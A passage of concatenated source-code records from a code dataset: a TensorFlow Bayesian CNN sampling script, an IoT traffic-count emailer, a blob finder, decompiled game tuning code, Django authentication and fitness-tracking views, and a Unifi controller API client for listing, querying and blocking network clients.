(x_test, y_test) = keras.datasets.fashion_mnist.load_data()\n x_train = np.expand_dims(x_train, axis=-1)\n x_test = np.expand_dims(x_test, axis=-1)\n output_size = 10\n elif args.dataset == \"cifar10\":\n (x_train, y_train), (x_test, y_test) = keras.datasets.cifar10.load_data()\n y_train = y_train.squeeze()\n y_test = y_test.squeeze()\n output_size = 10\n elif args.dataset == \"cifar10-gs\":\n (x_train, y_train), (x_test, y_test) = keras.datasets.cifar10.load_data()\n\n # Remove extra dimension in labels\n y_train = y_train.squeeze()\n y_test = y_test.squeeze()\n\n # Convert to gray scale\n x_train = tf.image.rgb_to_grayscale(x_train).numpy()\n x_test = tf.image.rgb_to_grayscale(x_test).numpy()\n output_size = 10\n elif args.dataset == \"cifar100\":\n (x_train, y_train), (x_test, y_test) = keras.datasets.cifar100.load_data(label_mode='fine')\n y_train = y_train.squeeze()\n y_test = y_test.squeeze()\n output_size = 100\n elif args.dataset == \"cifar100-gs\":\n (x_train, y_train), (x_test, y_test) = keras.datasets.cifar100.load_data(label_mode='fine')\n\n # Remove extra dimension in labels\n y_train = y_train.squeeze()\n y_test = y_test.squeeze()\n\n # Convert to gray scale\n x_train = tf.image.rgb_to_grayscale(x_train).numpy()\n x_test = tf.image.rgb_to_grayscale(x_test).numpy()\n\n output_size = 100\n\n x_train, x_test = x_train / 255.0, x_test / 255.0\n x_train = x_train.astype(np.float32)\n x_test = x_test.astype(np.float32)\n y_train = y_train.astype(np.int32)\n y_test = y_test.astype(np.int32)\n\n max_train_size = x_train.shape[0]//6*5\n x_val = x_train[max_train_size:]\n y_val = y_train[max_train_size:]\n x_train = x_train[:max_train_size]\n y_train = y_train[:max_train_size]\n\n # Limit the size of the training set\n if args.train_size is not None:\n x_train, y_train = x_train[args.train_start_index:args.train_size], \\\n y_train[args.train_start_index:args.train_size]\n\n # Standartisation per channel\n x_data = [x_train, x_val, x_test]\n for dataset in x_data:\n # loop through channels\n for i in range(dataset.shape[-1]):\n mean = tf.math.reduce_mean(dataset[:,:,:,i], axis = [0,1,2])\n std = tf.math.reduce_std(dataset[:,:,:,i], axis = [0,1,2])\n dataset[:,:,:,i] = (dataset[:,:,:,i] - mean)/std\n\n print(\"Training set size:\", x_train.shape[0])\n print(\"Validation set size:\", x_val.shape[0])\n\n # Define a simple MNIST CNN model and set the target probability\n act_fn = {'relu': tf.nn.relu, 'selu': tf.nn.selu, 'tanh': tf.nn.tanh, 'sigmoid': tf.nn.sigmoid}[args.act_fn]\n model = CNN(filter_shapes=[(3, 3, x_train.shape[-1], 4), (3, 3, 4, 4), (3, 3, 4, 4)], dense_nodes=[args.size_dense_layer, output_size], input_shape=list(x_train.shape[1:4]), act_fn=act_fn)\n unnormalized_log_prob = get_unnormalized_log_prob(model, x_train, y_train, beta=args.beta, prior_scale=args.prior_scale, geo=args.geo, he=args.he, prior_scales_with_beta=args.prior_scales_with_beta, likelihood_scales_with_beta=args.likelihood_scales_with_beta)\n\n if args.mode == 'init':\n init_entropies = []\n init_probs = []\n for i in range(args.num_of_inits):\n if args.he or args.geo:\n initializer = tf.initializers.he_normal()\n else:\n initializer = tf.random_normal_initializer(stddev=args.prior_scale)\n vars = model.initialize_vars(args.alpha, initializer=initializer)\n\n # Get logits\n lgts = get_logits(model, x_train, *vars)\n\n # Get first three classes output probabilities\n pr = p(logits=lgts[:,:3])\n init_probs.append(pr)\n\n # Get entropy\n H_new = entropy(lgts)\n init_entropies.extend(H_new)\n\n print(\"###\", i*100/args.num_of_inits,\"%\")\n\n if args.save_entropies == True:\n with open('entropies_' + args.name + '.txt', 'w') as f:\n for item in init_entropies:\n f.write(\"%s\\n\" % item)\n\n if args.plot_simplex == True:\n ### Scatter Plot SIMPLEX\n scale = 1.0\n cm_subsection = linspace(0, 1, args.num_of_inits) \n colors = [ cm.viridis(x) for x in cm_subsection ]\n figure, tax = ternary.figure(scale=scale)\n figure.set_size_inches(10, 9)\n # tax.set_title(r\"$\\alpha$\" + '=' + str(args.alpha), fontsize=35, y=1.08) \n tax.boundary(linewidth=1.5)\n tax.gridlines(multiple=0.1,color=\"grey\",linewidth=0.8)\n for i in range(len(init_probs)):\n # Plot a few different styles with a legend\n points = np.asarray(init_probs[i])\n tax.scatter(points, marker='o', color=colors[i], alpha=0.4, s=0.6)\n tax.ticks(axis='lbr', linewidth=1, fontsize=19, multiple=0.1, ticks=['0.0','0.1','0.2','0.3','0.4','0.5','0.6','0.7','0.8','0.9','1.0'],offset=0.02)\n tax.get_axes().axis('off')\n tax._redraw_labels()\n\n ternary.plt.savefig('simplex_' + args.name + '.png')\n\n else:\n # Initalize the variables\n if args.he or args.geo:\n initializer = tf.initializers.he_normal()\n else:\n initializer = tf.random_normal_initializer(stddev=args.prior_scale)\n vars = model.initialize_vars(args.alpha, initializer=initializer)\n\n n_weights = sum(map(lambda w: np.prod(w.shape), model.weights(*vars)))\n print(\"Number of weights:\", n_weights)\n \n # Construct a tracer for the StepTracer\n tracer = Tracer(model, unnormalized_log_prob, x_train, y_train, x_val, y_val)\n\n if args.mode == \"sample\":\n if args.method == \"hmc\":\n # Initialize the HMC transition kernel.\n adaptive_hmc = StepTracer(\n tfp.mcmc.SimpleStepSizeAdaptation(\n tfp.mcmc.HamiltonianMonteCarlo(\n target_log_prob_fn=unnormalized_log_prob,\n num_leapfrog_steps=args.num_leapfrog_steps,\n step_size=args.step_size),\n num_adaptation_steps=args.num_burnin_steps), # We could have used 0.8*args.num_burnin_steps\n trace_fn=tracer.call,\n trace_freq=args.trace_freq\n )\n\n # Define function for running the chain (with decoration)\n @tf.function\n def run_chain():\n # Run the chain (with burn-in).\n samples, trace = tfp.mcmc.sample_chain(\n num_results=args.num_steps // args.results_freq + 1,\n num_burnin_steps=args.num_burnin_steps,\n num_steps_between_results=args.results_freq-1,\n current_state=vars,\n kernel=adaptive_hmc)\n return samples, trace\n\n # Run the chain\n samples, trace = run_chain()\n\n print(\"Number of samples:\", samples[0].shape[0])\n\n if args.pickle is not None:\n pickle.dump((samples, trace), open(args.pickle, \"wb\"))\n\n if args.method == \"nuts\":\n\n # Initialize the NUTS transition kernel.\n adaptive_nuts = StepTracer(\n tfp.mcmc.DualAveragingStepSizeAdaptation(\n tfp.mcmc.NoUTurnSampler(\n target_log_prob_fn=unnormalized_log_prob,\n step_size=args.step_size,\n max_tree_depth=args.max_tree_depth),\n num_adaptation_steps=args.num_burnin_steps, # We could have used 0.8*args.num_burnin_steps\n step_size_setter_fn=lambda pkr, new_step_size: pkr._replace(step_size=new_step_size),\n step_size_getter_fn=lambda pkr: pkr.step_size,\n log_accept_prob_getter_fn=lambda pkr: pkr.log_accept_ratio,\n ), \n trace_fn=tracer.call,\n trace_freq=args.trace_freq\n )\n\n # Define function for running the chain (with decoration)\n @tf.function\n def run_chain():\n # Run the chain (with burn-in).\n samples, trace = tfp.mcmc.sample_chain(\n num_results=args.num_steps // args.results_freq + 1,\n num_burnin_steps=args.num_burnin_steps,\n num_steps_between_results=args.results_freq-1,\n current_state=vars,\n kernel=adaptive_nuts)\n return samples, trace\n\n # Run the chain\n samples, trace = run_chain()\n\n print(\"Number of samples:\", samples[0].shape[0])\n\n if args.pickle is not None:\n pickle.dump((samples, trace), open(args.pickle, \"wb\"))\n\n elif args.method == \"adam\":\n\n optimizer = tf.keras.optimizers.Adam(learning_rate=args.step_size)\n\n for i in range(args.num_steps):\n\n with tf.GradientTape() as tape:\n\n # y = model.call(x_train, *weights)\n\n loss = -unnormalized_log_prob(*vars)\n\n gradients = tape.gradient(loss, vars)\n optimizer.apply_gradients(zip(gradients, vars))\n\n if i % args.trace_freq == 0:\n\n # This evaluation on the training set could be optimized away\n train_logits = model.call(x_train, *vars)\n train_loss = model.loss(y_train, train_logits)\n train_accuracy = model.accuracy(y_train, train_logits)\n l2 = model.l2(*vars)\n\n val_logits = model.call(x_val, *vars)\n val_loss = model.loss(y_val, val_logits)\n val_accuracy = model.accuracy(y_val, val_logits)\n\n print(\"step =\", i, \"acceptance-rate =\", 0, \"step-size =\", 0, \"\\tlog_prob = %.5f\" % float(loss), \"l2 = %.5f\" % float(l2), \"\\ttrain_loss = %.5f\" % float(train_loss), \"train_accuracy = %.5f\" % float(train_accuracy), \"\\tval_loss = %.5f\" % float(val_loss) , \"val_accuracy = %.5f\" % float(val_accuracy))\n\n\n if args.pickle is not None:\n pickle.dump(([tf.expand_dims(v, 0) for v in vars], []), open(args.pickle, \"wb\"))\n\n else:\n raise \"Unknown method: \" + args.method\n elif args.mode == \"test\":\n samples, trace = pickle.load(open(args.pickle, \"rb\"))\n\n counter = 0\n idxs = range(0, samples[0].shape[0], args.test_stride)\n len_idxs = len(idxs)\n acc_p = None\n\n for i in idxs:\n vars = [v[i] for v in samples]\n\n p = tf.nn.softmax(model.call(x_val, *vars))\n\n acc_p = p if acc_p is None else acc_p + p\n counter += 1\n\n if counter % 10 == 0:\n print(\"i =\", counter, \"/\", len_idxs, \"[%.1f%%]\" % (100*counter/len_idxs))\n\n acc_p = acc_p / len_idxs\n\n if args.test_out_pickle is not None:\n pickle.dump({'acc_p': acc_p,\n 'y_val': y_val,\n 'pickle': args.pickle,\n 'idxs': list(idxs)},\n open(args.test_out_pickle, \"wb\"))\n elif args.mode == \"init\":\n pass\n else:\n raise \"Unknown mode: \" + args.mode\n","sub_path":"sampler_CNN_alphascaling.py","file_name":"sampler_CNN_alphascaling.py","file_ext":"py","file_size_in_byte":23242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"42254054","text":"import edtls, json, time\nfrom boltiot import Email, Bolt\n\n\nmybolt = Bolt(edtls.API_KEY, edtls.DEVICE_ID)\nmailer = Email(edtls.MAILGUN_API_KEY, edtls.SANDBOX_URL, edtls.SENDER_EMAIL, edtls.RECIPIENT_EMAIL)\n\n\nprint(\"Welcome to A_C_Stark_SSLS Traffic Density Analyser :)\")\n\n\n\nwhile True:\n response = mybolt.serialRead('10')\n data = json.loads(response)\n print(\"Current Count: \" + str(data['value']))\n try:\n sensor_value = 0\n sensor_value = int(data['value'])\n if sensor_value > 0:\n print(\"Making request to Mailgun to send an email...\")\n response = mailer.send_email(\"Stark_SSLS Daily TDR\", \"The Traffic Count for yesterday dusk till today dawn was: \" + str(sensor_value))\n response_text = json.loads(response.text)\n print(\"Response received from Mailgun is: \" + str(response_text['message']))\n except Exception as e:\n print(\"Error occured. Details below.\")\n print(e)\n print(\"Reading data......\")\n time.sleep(10)\n","sub_path":"eStark.py","file_name":"eStark.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"428892343","text":"import argparse\nfrom blob_utility import Blob\n\n# Parse commend line argument for file name\nparser = argparse.ArgumentParser(description='App to find blobs in a text file')\nparser.add_argument(\"filename\", help=\"filename of our blob data\")\nargs = parser.parse_args()\n\n# Pass the filename into our blob finder\nblob = Blob(blob_file_name=args.filename)\nblob.find_all_blobs(start_x=1, start_y=1) # Maybe make x and y command line args, seems more user friendly?\nprint(blob.get_max_blob_size())\n","sub_path":"blob_finder.py","file_name":"blob_finder.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"121288237","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.7.9 (tags/v3.7.9:13c94747c7, Aug 17 2020, 18:58:18) [MSC v.1900 64 bit (AMD64)]\n# Embedded file name: T:\\InGame\\Gameplay\\Scripts\\Server\\world\\ocean_tuning.py\n# Compiled at: 2019-05-06 22:06:18\n# Size of source mod 2**32: 9996 bytes\nfrom animation.animation_utils import StubActor\nfrom routing import SurfaceType\nfrom sims.outfits.outfit_enums import OutfitChangeReason\nfrom sims.sim_info_types import Age, SpeciesExtended\nfrom sims4.tuning.tunable import TunableMapping, TunableEnumEntry, TunableTuple, TunableInterval, TunableRange, TunableList, TunableEnumSet, TunableReference, OptionalTunable\nfrom tag import TunableTag\nimport services\n\nclass OceanTuning:\n BEACH_LOCATOR_TAG = TunableTag(description='\\n The tag we can use to get the beach locator definition.\\n ')\n OCEAN_DATA = TunableMapping(description='\\n The species-age mapping to ocean data. This defines what\\n ages and species can wade in the water and what the water level\\n restrictions are as well as beach portal access objects.\\n ',\n key_name='species',\n key_type=TunableEnumEntry(description='\\n The extended species that this data is for.\\n ',\n tunable_type=SpeciesExtended,\n default=(SpeciesExtended.HUMAN)),\n value_name='age_data',\n value_type=TunableList(description='\\n The ages and their data.\\n ',\n tunable=TunableTuple(description='\\n The ages and their ocean data.\\n ',\n ages=TunableEnumSet(description='\\n The age of the actor.\\n ',\n enum_type=Age),\n ocean_data=TunableTuple(description='\\n The ocean data for this Age.\\n ',\n wading_interval=TunableInterval(description='\\n The wading interval for Sims at this age and species. The lower\\n bound indicates the minimum water height required to apply the\\n wading walkstyle, and the upper bound indicates the maximum\\n height we can walk into the water until we can potentially\\n swim.\\n ',\n tunable_type=float,\n default_lower=0.1,\n default_upper=1.0,\n minimum=0.01),\n beach_portal_data=OptionalTunable(description='\\n An optional portal definition to allow sims to swim in\\n the ocean. Without this, Sims at this age and species\\n cannot swim in the ocean.\\n ',\n tunable=TunableReference(description='\\n The portals this age/species will use to swim in the ocean.\\n ',\n manager=(services.snippet_manager()),\n class_restrictions=('PortalData', ),\n pack_safe=True)),\n water_depth_error=TunableRange(description='\\n The error, in meters, that we allow for the swimming beach\\n portals.\\n ',\n tunable_type=float,\n default=0.05,\n minimum=0.01),\n swimwear_change_water_depth=TunableRange(description=\"\\n If a Sim's path includes water where the depth is at\\n least the tuned value, in meters, they will switch into\\n the outfit based on the outfit change reasonat the \\n start of the path.\\n \",\n tunable_type=float,\n default=0.1,\n minimum=0),\n swimwear_change_outfit_reason=OptionalTunable(description='\\n If enabled, the outfit change reason that determines which outfit\\n category a Sim automatically changes into when \\n entering water.\\n ',\n tunable=TunableEnumEntry(tunable_type=OutfitChangeReason,\n default=(OutfitChangeReason.Invalid),\n invalid_enums=(\n OutfitChangeReason.Invalid,)))))))\n beach_locator_definition = None\n\n @staticmethod\n def get_beach_locator_definition():\n if OceanTuning.beach_locator_definition is None:\n for definition in services.definition_manager().get_definitions_for_tags_gen((OceanTuning.BEACH_LOCATOR_TAG,)):\n OceanTuning.beach_locator_definition = definition\n break\n\n return OceanTuning.beach_locator_definition\n\n @staticmethod\n def get_actor_ocean_data(actor):\n if not actor.is_sim:\n if not isinstance(actor, StubActor):\n return\n species_data = OceanTuning.OCEAN_DATA.get(actor.extended_species, None)\n if species_data is None:\n return\n actor_age = actor.age\n for age_data in species_data:\n if actor_age in age_data.ages:\n return age_data.ocean_data\n\n @staticmethod\n def get_actor_wading_interval(actor):\n ocean_data = OceanTuning.get_actor_ocean_data(actor)\n if ocean_data is not None:\n return ocean_data.wading_interval\n interval_actor = actor\n if not isinstance(actor, StubActor):\n if actor.vehicle_component is not None:\n drivers = actor.get_users(sims_only=True)\n for driver in drivers:\n if driver.posture.is_vehicle and driver.posture.target is actor:\n interval_actor = driver\n break\n\n ocean_data = OceanTuning.get_actor_ocean_data(interval_actor)\n if ocean_data is not None:\n return ocean_data.wading_interval\n\n @staticmethod\n def get_actor_swimwear_change_info(actor):\n ocean_data = OceanTuning.get_actor_ocean_data(actor)\n if ocean_data is not None:\n return (ocean_data.swimwear_change_water_depth, ocean_data.swimwear_change_outfit_reason)\n return (None, None)\n\n @staticmethod\n def make_depth_bounds_safe_for_surface_and_sim(routing_surface, sim, min_water_depth=None, max_water_depth=None):\n interval = OceanTuning.get_actor_wading_interval(sim)\n return OceanTuning.make_depth_bounds_safe_for_surface(routing_surface, wading_interval=interval,\n min_water_depth=min_water_depth,\n max_water_depth=max_water_depth)\n\n @staticmethod\n def make_depth_bounds_safe_for_surface(routing_surface, wading_interval=None, min_water_depth=None, max_water_depth=None):\n if routing_surface.type == SurfaceType.SURFACETYPE_WORLD:\n surface_min_water_depth = min_water_depth\n if wading_interval is not None:\n if max_water_depth is None:\n surface_max_water_depth = wading_interval.upper_bound\n else:\n surface_max_water_depth = min(wading_interval.upper_bound, max_water_depth)\n else:\n surface_max_water_depth = 0\n elif routing_surface.type == SurfaceType.SURFACETYPE_POOL:\n if wading_interval is not None:\n if min_water_depth is None:\n surface_min_water_depth = wading_interval.upper_bound\n else:\n surface_min_water_depth = max(wading_interval.upper_bound, min_water_depth)\n else:\n surface_min_water_depth = min_water_depth\n surface_max_water_depth = max_water_depth\n else:\n surface_min_water_depth = min_water_depth\n surface_max_water_depth = max_water_depth\n return (\n surface_min_water_depth, surface_max_water_depth)","sub_path":"Scripts/simulation/world/ocean_tuning.py","file_name":"ocean_tuning.py","file_ext":"py","file_size_in_byte":7691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"567543951","text":"#!/usr/bin/env python3\n\nfrom django.contrib.auth.models import User\n\n##################################################\nfrom manifoldapi.manifoldapi import ManifoldException\n\nfrom .mfdetails import manifold_details\n\nfrom r2lab.settings import manifold_url as config_manifold_url\nfrom r2lab.settings import logger\nfrom plc.plcsfauser import get_r2lab_user\n\ndebug = True\n\nclass ManifoldBackend:\n \"\"\"\n Authenticate against the onelab portal user accounts\n \"\"\"\n\n def __init__(self, manifold_url=config_manifold_url):\n self.manifold_url = manifold_url\n\n # Required for your backend to work properly - unchanged in most scenarios\n def get_user(self, user_id):\n try:\n return User.objects.get(pk=user_id)\n except User.DoesNotExist:\n return None\n\n # This is called by the standard Django login procedure\n def authenticate(self, token=None):\n if token is None:\n return\n\n if debug:\n print(\"authenticating token={}\".format(token))\n try:\n email = token['username']\n password = token['password']\n request = token['request']\n\n session, auth, user_details = manifold_details(\n self.manifold_url, email, password, logger)\n if session is None or user_details is None:\n if debug:\n logger.info(\n \"dbg: could not get or missing manifold details\")\n return None\n if debug:\n logger.info(\"dbg: SESSION keys: {}\".format(session.keys()))\n\n # get a more relevant list of slices right at the r2lab portal\n r2lab_user = get_r2lab_user(email)\n if debug:\n logger.info(\"dbg: r2lab_user = {}\".format(r2lab_user))\n\n if not r2lab_user:\n logger.error(\"mfbackend.authenticate emergency exit\")\n return\n\n # extend request to save this environment\n # auth and session['expires'] may be of further interest\n # we cannot expose just 'api' because it can't be marshalled in JSON\n # BUT we can expose the 'auth' field\n request.session['r2lab_context'] = {\n 'session': session,\n 'auth': auth,\n 'user_details': user_details,\n 'accounts': r2lab_user['accounts'],\n 'manifold_url': self.manifold_url,\n }\n\n except ManifoldException as e:\n logger.error(\"ManifoldException in Auth Backend: {}\"\n .format(e.manifold_result))\n except Exception as e:\n logger.exception(\"ERROR in Manifold Auth Backend\")\n return None\n\n try:\n # Check if the user exists in Django's local database\n user = User.objects.get(email=email)\n except User.DoesNotExist:\n logger.info(\"Creating django user object {}\".format(email))\n # Create a user in Django's local database\n # first arg is a name, second an email\n user = User.objects.create_user(\n email, email, 'passworddoesntmatter')\n\n if 'firstname' in user_details:\n user.first_name = user_details['firstname']\n if 'lastname' in user_details:\n user.last_name = user_details['lastname']\n\n return user\n","sub_path":"r2lab.inria.fr/mfauth/mfbackend.py","file_name":"mfbackend.py","file_ext":"py","file_size_in_byte":3389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"64483065","text":"from django.views.generic import ListView, DetailView, CreateView, UpdateView, DeleteView\nfrom django.urls import reverse_lazy\nfrom accounts.models import User\nfrom .models import Exercise, ImageRecord, MeasurementRecord, StrengthRecord, CardioRecord\nfrom .forms import ImageRecordForm, MeasurementRecordForm, StrengthRecordForm, CardioRecordForm\n\n# Create your views here.\nclass ExerciseListView(ListView):\n model = Exercise\n template_name = 'training/training_list.html'\n context_object_name = 'exercises'\n\nclass ExerciseDetailView(DetailView):\n model = Exercise\n template_name = 'training/training_detail.html'\n context_object_name = 'exercise'\n\n def get_context_data(self, **kwargs):\n ctx = super(ExerciseDetailView, self).get_context_data(**kwargs)\n\n return ctx\n\nclass ImageCreateView(CreateView):\n model = ImageRecord\n form_class = ImageRecordForm\n template_name = 'training/image_form.html'\n\n def form_valid(self, form):\n form.instance.client = self.request.user\n return super().form_valid(form)\n\n def get_success_url(self):\n url = reverse_lazy('accounts:client_detail', kwargs={'pk':self.request.user.pk})\n return url\n\nclass MeasurementCreateView(CreateView):\n model = MeasurementRecord\n form_class = MeasurementRecordForm\n template_name = 'training/measurement_form.html'\n\n def form_valid(self, form):\n form.instance.client = self.request.user\n return super().form_valid(form)\n\n def get_success_url(self):\n url = reverse_lazy('accounts:client_detail', kwargs={'pk':self.request.user.pk})\n return url\n\n\nclass StrengthCreateView(CreateView):\n model = StrengthRecord\n form_class = StrengthRecordForm\n template_name = 'training/strength_form.html'\n\n def form_valid(self, form):\n form.instance.client = self.request.user\n return super().form_valid(form)\n\n def get_success_url(self):\n url = reverse_lazy('accounts:client_detail', kwargs={'pk':self.request.user.pk})\n return url\n\nclass CardioCreateView(CreateView):\n model = CardioRecord\n form_class = CardioRecordForm\n template_name = 'training/cardio_form.html'\n\n def form_valid(self, form):\n form.instance.client = self.request.user\n return super().form_valid(form)\n\n def get_success_url(self):\n url = reverse_lazy('accounts:client_detail', kwargs={'pk':self.request.user.pk})\n return url\n#\n# class RecordUpdateView(UpdateView):\n# model = ImageRecord\n# form_class = ImageRecordForm\n# template_name = 'training/record_form.html'\n#\n# class RecordDeleteView(DeleteView):\n# model = ImageRecord\n# template_name = 'training/record_delete.html'\n# success_url = reverse_lazy('index')\n","sub_path":"training/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"635579626","text":"\"\"\"\nCopyright © 2020 Forescout Technologies, Inc.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\n\nimport json\nimport urllib.request\nimport logging\nfrom http.cookiejar import CookieJar\n\n\ndef clean_empty_dict(d):\n if not isinstance(d, (dict, list)):\n return d\n if isinstance(d, list):\n return [v for v in (clean_empty_dict(v) for v in d) if v]\n return {k: v for k, v in ((k, clean_empty_dict(v)) for k, v in d.items()) if v or v is False}\n\n\ndef UB_HTTP_CLIENT(credentials, controller_details):\n \"\"\"\n Unifi API for the Unifi Controller.\n \"\"\"\n _login_data = {}\n _current_status_code = None\n context = controller_details[\"ssl_context\"]\n\n _headers = {'Content-Type': 'application/json; charset=utf-8'}\n\n _address = controller_details[\"address\"]\n _port = controller_details[\"port\"]\n _baseurl = \"https://{}:{}\".format(_address, _port)\n _login_url = '{}/api/login'.format(_baseurl)\n \n if controller_details[\"type\"] == 'unifios': \n _login_url = '{}/api/auth/login'.format(_baseurl)\n \n logging.debug(\"Using Request URL: {}\".format(_login_url))\n\n _handlers = []\n try:\n cookie_jar = CookieJar()\n _handlers.append(urllib.request.HTTPCookieProcessor(cookie_jar))\n _handlers.append(urllib.request.HTTPSHandler(context=context))\n _opener = urllib.request.build_opener(*_handlers)\n _login_data['username'] = credentials[\"username\"]\n _login_data['password'] = credentials[\"password\"]\n request = urllib.request.Request(_login_url,\n headers=_headers,data=bytes(json.dumps(_login_data), encoding=\"utf-8\"))\n response = _opener.open(request, timeout=100)\n _current_status_code = response.getcode()\n if controller_details[\"type\"] == \"unifios\":\n # Required for UnifiOS authentication to work\n _preHeaders = list(response.headers._headers)\n for i in _preHeaders:\n if i[0] == 'X-CSRF-Token':\n _csrfToken = i[1]\n _headers = {\n 'Content-Type': 'application/json; charset=utf-8',\n 'X-CSRF-Token': _csrfToken\n }\n except Exception as e:\n logging.error(\"Get HTTP Client failed: {}.\".format(str(e)))\n return _current_status_code, _opener, _headers\n\n\ndef UB_LIST_SITES(http_client, controller_details, headers):\n _http_client = http_client\n _address = controller_details[\"address\"]\n _port = controller_details[\"port\"]\n _baseurl = \"https://{}:{}\".format(_address, _port)\n _request_url = '{}/api/stat/sites'.format(_baseurl)\n\n if controller_details[\"type\"] == 'unifios': \n # UnifiOS based controllers currently do not support listing sites. Return default site every time.\n return 200, \"default\"\n\n request = urllib.request.Request(_request_url, headers=headers)\n response = _http_client.open(request, timeout=100)\n _current_status_code = response.getcode()\n r = response.read()\n\n data = json.loads(r.decode(\"utf-8\"))\n return _current_status_code, data\n\n\ndef UB_LIST_CLIENTS(http_client, controller_details, headers):\n _http_client = http_client\n _address = controller_details[\"address\"]\n _port = controller_details[\"port\"]\n _site = controller_details[\"site\"]\n\n _baseurl = \"https://{}:{}\".format(_address, _port)\n _request_url = '{}/api/s/{}/stat/sta'.format(_baseurl, _site)\n\n if controller_details[\"type\"] == 'unifios': \n _request_url = '{}/proxy/network/api/s/{}/stat/sta'.format(_baseurl,_site)\n logging.debug(\"Using Request URL: {}\".format(_request_url))\n\n request = urllib.request.Request(_request_url, headers=headers)\n response = _http_client.open(request, timeout=100)\n _current_status_code = response.getcode()\n r = response.read()\n\n data = json.loads(r.decode(\"utf-8\"))\n logging.debug(\"Request Return Code: {}\".format(_current_status_code))\n return _current_status_code, data\n\n\ndef UB_LIST_DEVICES(http_client, controller_details, headers):\n _http_client = http_client\n _address = controller_details[\"address\"]\n _port = controller_details[\"port\"]\n _site = controller_details[\"site\"]\n\n _baseurl = \"https://{}:{}\".format(_address, _port)\n _request_url = '{}/api/s/{}/stat/device'.format(_baseurl, _site)\n \n if controller_details[\"type\"] == 'unifios': \n _request_url = '{}/proxy/network/api/s/{}/stat/device'.format(_baseurl,_site)\n\n request = urllib.request.Request(_request_url, headers=headers)\n response = _http_client.open(request, timeout=100)\n _current_status_code = response.getcode()\n r = response.read()\n\n data = json.loads(r.decode(\"utf-8\"))\n return _current_status_code, data\n\n\ndef UB_QUERY_DEVICE(http_client, controller_details, device_mac, headers):\n _http_client = http_client\n _address = controller_details[\"address\"]\n _port = controller_details[\"port\"]\n _site = controller_details[\"site\"]\n _baseurl = \"https://{}:{}\".format(_address, _port)\n \n _device_url = \"{}/api/s/{}/stat/device/{}\".format(_baseurl, _site, device_mac)\n if controller_details[\"type\"] == 'unifios': \n _device_url = \"{}/proxy/network/api/s/{}/stat/device/{}\".format(_baseurl, _site, device_mac)\n\n request = urllib.request.Request(_device_url, headers=headers)\n response = _http_client.open(request, timeout=100)\n _current_status_code = response.getcode()\n r = response.read()\n\n data = json.loads(r.decode(\"utf-8\"))\n return _current_status_code, data\n\n\ndef UB_QUERY_CLIENT(http_client, controller_details, client_mac, headers):\n _http_client = http_client\n _address = controller_details[\"address\"]\n _port = controller_details[\"port\"]\n _site = controller_details[\"site\"]\n\n _baseurl = \"https://{}:{}\".format(_address, _port)\n _request_url = \"{}/api/s/{}/stat/user/{}\".format(_baseurl, _site, client_mac)\n \n if controller_details[\"type\"] == 'unifios': \n _request_url = '{}/proxy/network/api/s/{}/stat/user/{}'.format(_baseurl, _site, client_mac)\n\n request = urllib.request.Request(_request_url, headers=headers)\n response = _http_client.open(request, timeout=100)\n _current_status_code = response.getcode()\n r = response.read()\n\n data = json.loads(r.decode(\"utf-8\"))\n return _current_status_code, data\n\n\ndef UB_QUERY_CLIENT_APPS(http_client, controller_details, client_mac, headers):\n _http_client = http_client\n _address = controller_details[\"address\"]\n _port = controller_details[\"port\"]\n _site = controller_details[\"site\"]\n\n _baseurl = \"https://{}:{}\".format(_address, _port)\n _request_url = \"{}/api/s/{}/stat/stadpi\".format(_baseurl, _site)\n \n if controller_details[\"type\"] == 'unifios': \n _request_url = '{}/proxy/network/api/s/{}/stat/stadpi'.format(_baseurl, _site)\n\n payload = {'type': 'by_cat', 'macs': [client_mac]}\n data = json.dumps(payload).encode(\"utf-8\")\n request = urllib.request.Request(_request_url, data, headers=headers)\n response = _http_client.open(request, timeout=100)\n _current_status_code = response.getcode()\n r = response.read()\n\n data = json.loads(r.decode(\"utf-8\"))\n return _current_status_code, data\n\n\ndef UB_BLOCK_CLIENT(http_client, controller_details, client_mac, headers):\n _http_client = http_client\n _address = controller_details[\"address\"]\n _port = controller_details[\"port\"]\n _site = controller_details[\"site\"]\n _baseurl = \"https://{}:{}\".format(_address, _port)\n _request_url = \"{}/api/s/{}/cmd/stamgr\".format(_baseurl, _site)\n \n if controller_details[\"type\"] == 'unifios': \n _request_url = '{}/proxy/network/api/s/{}/cmd/stamgr'.format(_baseurl, _site)\n\n payload = {'cmd': 'block-sta', 'mac': client_mac}\n data = json.dumps(payload).encode(\"utf-8\")\n request = urllib.request.Request(_request_url, data, headers=headers)\n response = _http_client.open(request, timeout=100)\n _current_status_code = response.getcode()\n r = response.read()\n\n data = json.loads(r.decode(\"utf-8\"))\n return _current_status_code, data\n\n\ndef UB_UNBLOCK_CLIENT(http_client, controller_details, client_mac, headers):\n _http_client = 